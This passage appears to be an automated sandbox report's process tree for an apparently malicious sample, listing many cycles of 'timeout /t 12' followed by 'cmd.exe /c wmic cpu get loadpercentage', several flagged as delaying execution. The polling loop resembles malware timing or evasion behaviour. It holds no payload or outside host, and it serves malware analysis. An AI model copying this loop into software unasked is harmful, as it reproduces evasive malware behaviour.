-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1300
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4528
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3412
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:96
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2840
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4320
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3684
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4764
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3880
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4604
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1904
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2348
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:524
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5016
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3708
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4056
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3580
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1864
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3272
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3960
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4264
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2688
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1232
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4136
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4352
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1000
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4896
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3288
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2920
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3176
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1100
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2224
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3216
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2684
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3536
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4784
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1688
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4036
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:308
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2244
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:448
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4752
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3512
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2320
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2844
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4572
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3832
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4172
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5104
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3280
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2240
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4120
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4112
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5028
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:5064
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:420
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:360
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4868
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1012
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3576
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3040
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3484
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2560
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1048
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1868
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2884
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2484
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1772
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1556
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2380
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4740
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2176
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4712
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3076
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3036
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2492
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3548
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3420
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1532
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1680
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3620
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1800
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4196
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2360
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4908
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3924
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1536
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:208
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4360
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2820
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2840
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3684
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4568
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4764
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:532
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2760
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:368
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:524
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1948
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5016
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4056
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3140
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3580
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3736
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4656
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4264
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2688
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2296
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4336
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4352
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5072
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1436
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3288
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1452
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3176
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4496
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3544
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2224
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2684
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4152
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4852
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1688
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4248
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4036
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2244
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4544
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4916
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1316
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4888
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2328
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4572
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1456
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3832
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5056
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2980
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3280
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2228
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3984
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4368
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1188
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2312
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2440
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1476
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4984
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3576
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2204
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3144
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2560
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2568
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1048
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2884
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2384
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1208
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1556
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4960
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2112
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2144
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3108
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:720
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3076
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2492
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3688
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3384
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2128
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4548
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1768
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3692
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:216
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1300
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4528
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3240
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1296
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2516
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:884
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5036
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4800
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3096
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4948
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2348
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:316
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3348
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1984
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1656
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4224
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3168
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5108
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2960
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5112
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1224
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3960
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1360
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4004
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:68
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4104
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4780
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4928
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4828
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4132
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:164
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3216
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3732
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4384
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2224
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:512
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4784
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4852
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4772
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1688
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4036
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5020
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2512
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:448
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5008
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1316
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2328
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3208
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4572
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3832
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2240
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4100
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3292
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4460
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4112
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4368
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4760
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:348
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4756
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2728
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1012
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1500
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2736
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3252
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:304
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1312
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2884
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3768
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1752
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1556
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4884
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3860
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2176
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5092
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4424
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2860
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3996
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4736
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3384
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4944
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4128
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1768
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4228
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1584
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1388
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3924
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2940
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1296
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4900
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2820
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1180
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1336
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4568
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4948
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2760
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4604
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3708
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4000
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4216
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5016
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4056
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1696
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2960
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2896
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2188
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:960
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1764
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4492
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:68
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3276
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3000
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:708
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2964
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1840
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2268
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2996
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4188
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4236
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5032
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3516
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4268
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4156
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3084
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3968
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3956
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4752
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3648
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4968
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2304
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1420
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4856
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1184
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5104
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4440
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2160
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3984
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4776
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4460
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3636
-
